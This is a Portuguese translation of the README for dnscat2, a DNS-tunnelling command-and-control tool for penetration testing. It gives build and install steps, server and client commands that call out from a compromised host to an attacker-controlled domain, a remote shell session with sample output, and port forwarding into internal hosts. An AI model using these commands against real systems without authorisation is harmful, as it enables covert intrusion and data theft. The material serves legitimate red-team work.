
Túnel criptografado de comando e controle sobre o protocolo DNS. Cria canais C&C furtivos para testes de penetração, com transferência de arquivos, acesso ao shell e capacidades de encaminhamento de porta através de consultas DNS.
***** NOTA: A senha para os downloads .zip é toda "password"! *****
Bem-vindo ao dnscat2, um túnel DNS que NÃO vai te deixar doente e te matar!
Esta ferramenta foi projetada para criar um canal de comando e controle (C&C) criptografado sobre o protocolo DNS, que é um túnel eficaz para fora de quase todas as redes.
Este arquivo README deve conter tudo que você precisa para começar a usar! Se você estiver interessado em se aprofundar no protocolo, em como o código é estruturado, em planos futuros ou em outros assuntos esotéricos, confira a pasta doc/.
Isto é lançado sob a licença BSD. Consulte LICENSE.md para mais informações.
dnscat2 vem em duas partes: o cliente e o servidor.
O cliente é projetado para ser executado em uma máquina comprometida. É escrito em C e tem o mínimo possível de dependências. Deve funcionar praticamente em qualquer lugar (se você encontrar um sistema onde ele não compila ou executa, por favor, abra um ticket, especialmente se puder me ajudar a obter acesso a esse sistema).
Quando você executa o cliente, normalmente especifica um nome de domínio. Todas as requisições serão enviadas para o servidor DNS local, que são então redirecionadas para o servidor DNS autoritativo para aquele domínio (que você, presumivelmente, tem controle).
Se você não tiver um servidor DNS autoritativo, também pode usar conexões diretas na UDP/53 (ou qualquer porta que escolher). Elas serão mais rápidas e ainda parecerão tráfego DNS para o observador casual, mas são muito mais óbvias em um log de pacotes (todos os domínios são prefixados com "dnscat.", a menos que você hackeie o código-fonte). Este modo frequentemente será bloqueado por firewalls.
O servidor é projetado para ser executado em um servidor DNS autoritativo. É em Ruby e depende de várias gems diferentes. Quando você o executa, assim como o cliente, especifica quais domínios ele deve ouvir, além de ouvir mensagens enviadas diretamente a ele na UDP/53. Quando recebe tráfego para um desses domínios, tenta estabelecer uma conexão lógica. Se receber outro tráfego, o ignora por padrão, mas também pode encaminhá-lo upstream.
Instruções detalhadas para ambas as partes estão abaixo.
dnscat2 se esforça para ser diferente de outros protocolos de tunelamento DNS por ser projetado para um propósito especial: comando e controle.
Isso não foi projetado para tirar você de uma rede de hotel ou para obter Internet gratuita em um avião. E não apenas tunela TCP.
Ele pode tunelar qualquer dado, sem protocolo anexado. O que significa que pode enviar e receber arquivos, pode executar um shell, e pode fazer essas coisas bem. Também pode potencialmente tunelar TCP, mas isso só será adicionado no contexto de uma ferramenta de teste de penetração (ou seja, tunelar TCP para dentro de uma rede), não como uma ferramenta de tunelamento de uso geral. Isso já foi feito, não é interessante (para mim).
Também é criptografado por padrão. Acredito que nenhum outro túnel DNS público criptografa todo o tráfego!
Aqui estão alguns links importantes:
A teoria por trás do dnscat2 é simples: ele cria um túnel sobre o protocolo DNS.
Por quê? Porque o DNS tem uma propriedade incrível: ele vai de servidor a servidor até descobrir para onde deve ir.
Isso significa que, para o dnscat obter tráfego de uma rede segura, ele simplesmente precisa enviar mensagens para um servidor DNS, que encaminhará felizmente as coisas através da rede DNS até chegar ao seu servidor DNS.
Isso, é claro, pressupõe que você tenha acesso a um servidor DNS autoritativo. dnscat2 também suporta conexões "diretas" - ou seja, executar um cliente dnscat que se conecta diretamente ao seu dnscat no seu endereço IP e porta UDP 53 (por padrão). O tráfego ainda parece tráfego DNS e pode passar por sistemas IDS/IPS mais burros, mas ainda assim provavelmente será parado por firewalls.
Se você não sabe como configurar um servidor DNS autoritativo, é algo que você precisa configurar com um provedor de domínio. izhan gentilmente escreveu um para você!
Compilar o cliente deve ser bem direto - tudo que você precisa para compilar é make/gcc (para Linux) ou Cygwin ou Microsoft Visual Studio (para Windows). Aqui estão os comandos no Linux:
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
No Windows, carregue client/win32/dnscat2.vcproj no Visual Studio e clique em "build". Eu criei e testei no Visual Studio 2008 - até conseguir uma cópia legítima gratuita de uma versão mais recente, provavelmente vou continuar com essa. :)
Se a compilação falhar, por favor, abra um bug na minha página do github! Por favor, envie detalhes sobre seu sistema.
Você pode verificar se o dnscat2 foi compilado com sucesso executando-o sem flags; você verá que ele tenta iniciar um túnel DNS com o servidor DNS configurado (o que falhará):
$ ./dnscat
Starting DNS driver without a domain! This will only work if you
are directly connecting to the dnscat2 server.
You'll need to use --dns server=<server> if you aren't.
** WARNING!
*
* It looks like you're running dnscat2 with the system DNS server,
* and no domain name!*
* That's cool, I'm not going to stop you, but the odds are really,
* really high that this won't work. You either need to provide a
* domain to use DNS resolution (requires an authoritative server):
*
* dnscat mydomain.com
*
* Or you have to provide a server to connect directly to:
*
* dnscat --dns=server=1.2.3.4,port=53
*
* I'm going to let this keep running, but once again, this likely
* isn't what you want!
*
** WARNING!
Creating DNS driver:
domain = (null)
host = 0.0.0.0
port = 53
type = TXT,CNAME,MX
server = 4.2.2.1
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: The server hasn't returned a valid response in the last 10 attempts.. closing session.
[[ FATAL ]] :: There are no active sessions left! Goodbye!
[[ WARNING ]] :: Terminating
O servidor não é "compilado", como tal, mas requer algumas dependências Ruby. Infelizmente, dependências Ruby podem ser chatas de configurar, então boa sorte! Se houver algum especialista em Ruby por aí que queira ajudar a melhorar esta seção, ficarei grato!
Estou assumindo que você tem Ruby e Gem instalados e funcionando. Se
não estiverem, instale-os com apt-get, emerge, rvm, ou
como for normal no seu sistema operacional.
Depois que Ruby/Gem estiverem resolvidos, execute estes comandos (nota: você pode
obviamente pular o comando git clone se já tiver instalado o
cliente e pular gem install bundler se já tiver instalado o
bundler):
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
Se você receber um erro de permissão com gem install bundler ou bundler install, talvez precise executá-los como root. Se você tiver muitos
problemas, desinstale Ruby/Gem e instale tudo usando rvm e
sem root.
Se você receber um erro como este:
/usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require': cannot load such file -- mkmf (LoadError)
Significa que você precisa instalar a versão -dev do Ruby:
$ sudo apt-get install ruby-dev
Acho que sudo nem sempre é suficiente para fazer tudo funcionar corretamente,
às vezes tenho que mudar para root e trabalhar diretamente como essa conta.
rvmsudo não ajuda, porque quebra o ctrl-z.
Você pode verificar se o servidor está funcionando executando-o sem flags e vendo se obtém o prompt dnscat2>:
# ruby ./dnscat2.rb
New window created: 0
Welcome to dnscat2! Some documentation may be out of date.
passthrough => disabled
auto_attach => false
auto_command =>
process =>
history_size (for new windows) => 1000
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = n/a]...
It looks like you didn't give me any domains to recognize!
That's cool, though, you can still use direct queries,
although those are less stealthy.
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
dnscat2>
Se você não executar como root, pode ter problemas para ouvir na UDP/53 (você pode usar --dnsport para mudar). Você verá uma mensagem de erro se for esse o caso.
Se você estiver tendo problemas para executar Ruby como root, é assim que faço para executá-lo na primeira vez:
$ cd dnscat2/server
$ su
# gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
# \curl -sSL https://get.rvm.io | bash
# source /etc/profile.d/rvm.sh
# rvm install 1.9
# rvm use 1.9
# bundle install
# ruby ./dnscat2.rb
E nas vezes seguintes:
$ cd dnscat2/server
$ su
# source /etc/profile.d/rvm.sh
# ruby ./dnscat2.rb
rvmsudo deveria facilitar, mas dnscat2 não funciona bem com
rvmsudo infelizmente.
Antes de falarmos sobre como usar especificamente as ferramentas, vamos falar sobre como o dnscat é estruturado. A ferramenta dnscat é dividida em duas partes: um cliente e um servidor. Como você notou se passou pela compilação, o cliente é escrito em C e o servidor em Ruby.
Geralmente, o servidor é executado primeiro. Ele pode ser de longa duração e lidar com quantos clientes você desejar. Como eu disse antes, é basicamente um serviço de C&C.
Mais tarde, um cliente é executado, que abre uma sessão com o servidor (mais sobre sessões abaixo). A sessão pode atravessar a hierarquia DNS (recomendado, mas mais complexa) ou conectar-se diretamente ao servidor. Atravessar a hierarquia DNS requer um domínio autoritativo, mas ignorará a maioria dos firewalls. Conectar-se diretamente ao servidor é mais óbvio por várias razões.
Por padrão, as conexões são criptografadas automaticamente (desligue no
cliente com --no-encryption e no servidor com --security=open).
Ao estabelecer uma nova conexão, se você for paranóico sobre
ataques man-in-the-middle, você tem duas opções para verificar o par:
--secret em ambos os lados
para validar a conexãoO servidor - que normalmente é executado no servidor DNS autoritativo para um domínio específico - é projetado para ser rico em recursos, interativo e amigável ao usuário. É escrito em Ruby, e grande parte de seu design é inspirado por Metasploit e Meterpreter.
Se você seguiu as instruções de compilação acima, deve ser capaz de apenas executar o servidor:
$ ruby ./dnscat2.rb skullseclabs.org
Onde "skullseclabs.org" é seu próprio domínio. Se você não tiver um servidor DNS autoritativo, não é obrigatório; mas esta ferramenta funciona muito, muito melhor com um servidor autoritativo.
Isso deve ser tudo que você precisa! Além disso, você pode testá-lo usando o comando --ping do cliente em qualquer outro sistema, que deve estar disponível se você o tiver compilado:
$ ./dnscat --ping skullseclabs.org
Se o ping for bem-sucedido, seu servidor C&C provavelmente está bom! Se você executou o servidor DNS em uma porta diferente, ou se precisar usar um resolvedor DNS personalizado, você pode usar a flag --dns além de --ping:
$ ./dnscat --dns server=8.8.8.8,domain=skullseclabs.org --ping
$ ./dnscat --dns port=53531,server=localhost,domain=skullseclabs.org --ping
Observe que quando você especifica um argumento --dns, o domínio tem que fazer parte desse argumento (como domain=xxx). Você não pode simplesmente passá-lo na linha de comando (devido a uma limitação da minha análise de comando; provavelmente melhorarei isso em uma versão futura).
Quando o processo estiver em execução, você pode iniciar um novo servidor usando basicamente a mesma sintaxe:
dnscat2> start --dns=port=53532,domain=skullseclabs.org,domain=test.com
New window created: dns2
Starting Dnscat2 DNS server on 0.0.0.0:53532
[domains = skullseclabs.org, test.com]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following:
./dnscat2 skullseclabs.org
./dnscat2 test.com
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53532
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53532.
Você pode executar quantos listeners DNS quiser, desde que estejam em hosts/portas diferentes. Assim que os dados chegarem, o resto do processo nem sabe de qual listener os dados vieram; na verdade, um cliente pode enviar pacotes diferentes para portas diferentes, e a sessão continuará como esperado.
O cliente - que normalmente é executado em um sistema após comprometê-lo - é projetado para ser simples, estável e portátil. É escrito em C e tem o menor número possível de dependências de biblioteca, e compila/roda nativamente em Linux, Windows, Cygwin, FreeBSD e Mac OS X.
O cliente recebe o nome de domínio na linha de comando, por exemplo:
./dnscat2 skullseclabs.org
Nesse exemplo, ele criará uma sessão C&C com o servidor dnscat2 em execução em skullseclabs.org. Se um domínio autoritativo não for uma opção, ele pode receber um endereço IP específico para se conectar:
./dnscat2 --dns host=206.220.196.59,port=5353
Supondo que haja um servidor dnscat2 em execução naquele host/porta, ele criará uma sessão lá.
É, meu chapa; ouvi dizer que você gosta de túneis, então agora você pode tunelar um túnel através do seu túnel!
Atualmente é possível tunelar uma conexão através do dnscat2, semelhante ao "ssh -L"! Outros modos ("ssh -D" e "ssh -R") estão chegando em breve também!
Após o início de uma sessão (uma sessão de comando), o comando "listen" é usado para abrir uma nova porta tunelada. A sintaxe é aproximadamente a mesma do ssh -L:
listen [lhost:]lport rhost:rport
O host local é opcional e terá como padrão todas as interfaces (0.0.0.0). A porta local e o host/porta remoto são obrigatórios.
O servidor dnscat2 ouvirá na lport. Todas as conexões recebidas nessa porta são encaminhadas, através do cliente dnscat2, para o host/porta remoto escolhido.
Por exemplo, isso ouvirá na porta 4444 (no servidor) e encaminhará tráfego para o google:
listen 4444 www.google.com:80
Então, se você conectar a http://localhost:4444, ele sairá pelo cliente dnscat2 e se conectará ao google.com.
Digamos que você esteja usando isso em um pentest e queira encaminhar conexões ssh através do cliente dnscat2 (executando na rede corporativa de alguém) para um dispositivo interno. Você pode!
listen 127.0.0.1:2222 10.10.10.10:22
Isso ouvirá apenas na interface localhost no servidor dnscat2, e encaminhará conexões via túnel para a porta 22 de 10.10.10.10.
dnscat2 é criptografado por padrão.
Não sou criptógrafo, e por necessidade criei o esquema de criptografia eu mesmo. Como resultado, eu não confiaria 100% nisso. Acho que fiz um trabalho razoavelmente bom prevenindo ataques, mas isso não foi auditado profissionalmente. Use com cautela.
Há uma tonelada de informações técnicas sobre a criptografia no doc de protocolo. Mas aqui estão os fundamentos.
Por padrão, tanto o cliente quanto o servidor suportam e tentarão criptografia. Cada conexão usa um novo par de chaves, negociado por ECDH. Toda criptografia é feita por salsa20, e as assinaturas usam sha3.
A criptografia pode ser desabilitada no cliente passando --no-encryption na
linha de comando, ou compilando-o usando make nocrypto.
O servidor rejeitará conexões não criptografadas por padrão. Para permitir
conexões não criptografadas, passe --security=open para o servidor, ou execute
set security=open no console.
Por padrão, não há proteção contra ataques man-in-the-middle. Como mencionado antes, existem duas maneiras diferentes de obter proteção MitM: um segredo pré-compartilhado ou uma "string de autenticação curta".
Um segredo pré-compartilhado é passado na linha de comando para o cliente e o servidor, e é usado para autenticar tanto o cliente para o servidor quanto o servidor para o cliente. Deve ser um valor um tanto forte - algo que não possa ser rapidamente adivinhado por um atacante (há apenas uma janela curta para o atacante adivinhá-lo, então só precisa resistir por alguns segundos).
O segredo pré-compartilhado é passado através do parâmetro --secret tanto no
cliente quanto no servidor. O servidor pode alterá-lo em tempo de execução usando
set secret=<novo valor>, mas isso pode ter resultados inesperados se clientes
ativos estiverem conectados.
Além disso, o servidor pode impor que apenas conexões autenticadas sejam
permitidas usando --security=authenticated ou set security=authenticated. Isso é ativado por padrão se você passar o
parâmetro --secret.
Se você não precisar do esforço extra de autenticar conexões, então uma "string de autenticação curta" é exibida tanto pelo cliente quanto pelo servidor. A string de autenticação curta é uma série de palavras em inglês que são derivadas com base nos valores secretos que ambos os lados compartilham.
Se o mesmo conjunto de palavras em inglês for impresso tanto no cliente quanto no servidor, a conexão pode ser razoavelmente considerada segura.
Isso é basicamente tudo que você precisa saber sobre a criptografia! Consulte o doc de protocolo para detalhes! Adoraria ouvir qualquer feedback sobre a criptografia também. :)
E finalmente, se você tiver algum problema com a criptografia, por favor me
avise! Por padrão, uma janela chamada "crypto-debug" será criada no
início. Se você tiver problemas de criptografia, por favor me envie esse log! Ou,
melhor ainda, execute o dnscat2 com os argumentos --firehose e --packet-trace,
e me envie TUDO! Não se preocupe em revelar chaves privadas; elas são usadas
apenas para aquela única sessão.
A interface do dnscat2 é composta por várias janelas. A janela padrão é
chamada de janela 'main'. Você pode obter uma lista de janelas digitando
windows (ou sessions) em qualquer prompt de comando:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = skullseclabs.org [*]
Você notará que existem duas janelas - a janela 0 é a janela principal,
e a janela dns1 é o listener (tecnicamente referido como 'tunnel driver').
De qualquer janela que aceite comandos (main e sessões de comando), você
pode digitar help para obter uma lista de comandos:
dnscat2> help
Here is a list of commands (use -h on any of them for additional help):
* echo
* help
* kill
* quit
* set
* start
* stop
* tunnels
* unset
* window
* windows
Para qualquer um desses comandos, você pode usar -h ou --help para obter detalhes:dnscat2> window --help Error: The user requested help
Interact with a window
-i, --i=<s> Interact with the chosen window
-h, --help Show this message
Vamos usar o comando window para interagir com dns1, que é uma
janela de status:
dnscat2> window -i dns1
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53531
[domains = skullseclabs.org]...
Assumindo que você tem um servidor DNS autoritativo, você pode executar
o cliente em qualquer lugar com o seguinte:
./dnscat2 skullseclabs.org
Para falar diretamente com o servidor sem um nome de domínio, execute:
./dnscat2 --dns server=x.x.x.x,port=53531
Claro, você precisa descobrir <server> você mesmo! Os clientes
se conectarão diretamente na porta UDP 53531.
Received: dnscat.9fa0ff178f72686d6c716c6376697968657a6d716800 (TXT)
Sending: 9fa0ff178f72686d6c716c6376697968657a6d716800
Received: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org (MX)
Sending: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org
As strings recebidas e enviadas ali são, se você as decodificar, pings.
Você pode alternar para a janela 'parent' (neste caso, main) pressionando
ctrl-z. Se ctrl-z matar o processo, então provavelmente você precisa encontrar uma
maneira melhor de executá-lo (rvmsudo não funciona, veja acima).
Quando um novo cliente se conecta e cria uma sessão, você será notificado em
main (e em certas outras janelas):
New window created: 1
dnscat2>
(Note que você precisa pressionar enter para obter o prompt de volta)
Você pode alternar para a nova janela da mesma forma que alternamos para a janela de status
dns1:
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
This is a command session!
That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.
command session (ubuntu-64) 1>
As sessões de comando podem gerar sessões adicionais; por exemplo, o comando
shell:
command session (ubuntu-64) 1> shell
Sent request to execute a shell
New window created: 2
Shell session created!
command session (ubuntu-64) 1>
(Note que ao longo deste documento estou limpando a saída; normalmente você precisa pressionar enter para obter o prompt de volta)
Então, se você retornar à sessão principal (ctrl-z ou suspend), você a verá
na lista de janelas:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
Infelizmente, o comando 'windows' em uma sessão de comando específica mostra apenas as janelas filhas daquela sessão, e atualmente novas sessões não são geradas como filhas.
Observe que algumas sessões têm [*] - isso significa que houve
atividade desde a última vez que olhamos para elas.
Quando você interage com uma sessão, a interface será diferente dependendo do tipo de sessão. Como você viu com o tipo de sessão padrão (sessões de comando), você obtém uma interface igual à da sessão de nível superior (você pode digitar 'help' ou executar comandos etc.). No entanto, se você interagir com uma sessão 'shell', você não verá muito imediatamente, até digitar um comando:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
dnscat2> session -i 2
New window created: 2
history_size (session) => 1000
This is a console session!
That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!
To go back, type ctrl-z.
sh (ubuntu-64) 2> pwd
/home/ron/tools/dnscat2/client
Para sair disso, você pode usar ctrl-z ou digitar "exit" (que matará a sessão).
Por último, para matar uma sessão, o comando kill pode ser usado:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
dnscat2> kill 2
Session 2 has been sent the kill signal!
Session 2 has been killed
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
No passado, existiam várias ferramentas de tunelamento DNS. Uma delas se chamava dnscat, escrita por Tadek Pietraszek. O problema é que ela era escrita em Java, e eu realmente queria algo que pudesse rodar praticamente em qualquer lugar.
Essa versão do dnscat era baseada em uma ferramenta chamada NSTX, cuja página não existe mais e nem está no Wayback Machine, então não sei nada sobre ela.
Mais tarde, escrevi uma implementação em C e a chamei de dnscat (sem permissão), já que a versão Java anterior não era mantida e eu gostava muito do nome (pensei em chamá-la de dnscat-ng, mas -ng é um pouco longo para o meu gosto). Funcionava, mas havia muitos problemas. O cliente e o servidor eram a mesma ferramenta, como o netcat, o que, por ser o DNS um modelo tão cliente/servidor, não funcionou muito bem. O outro problema era que eu o havia vinculado demais ao protocolo DNS, então ele só podia rodar sobre DNS.
dnscat2 - o sucessor do dnscat - é uma tentativa de corrigir alguns dos erros que eu havia cometido. O dnscat2 tem um servidor separado (Ruby) e cliente (C) e trata tudo como um fluxo de bytes, e usa um driver, de certa forma, para converter esse fluxo de bytes em requisições DNS e volta. Assim, é um protocolo em camadas, com o DNS sendo uma camada inferior.
Como resultado, inventei um protocolo que estou chamando de protocolo dnscat. Você pode encontrar documentação sobre ele em docs/protocol.md. É um protocolo de rede simples de polling, onde o cliente ocasionalmente faz polling no servidor, e o servidor responde com uma mensagem (ou um código de erro). O protocolo é projetado para ser resiliente aos diversos problemas que tive com o dnscat1 - ou seja, ele pode lidar igualmente bem com pacotes fora de ordem, pacotes descartados e pacotes duplicados.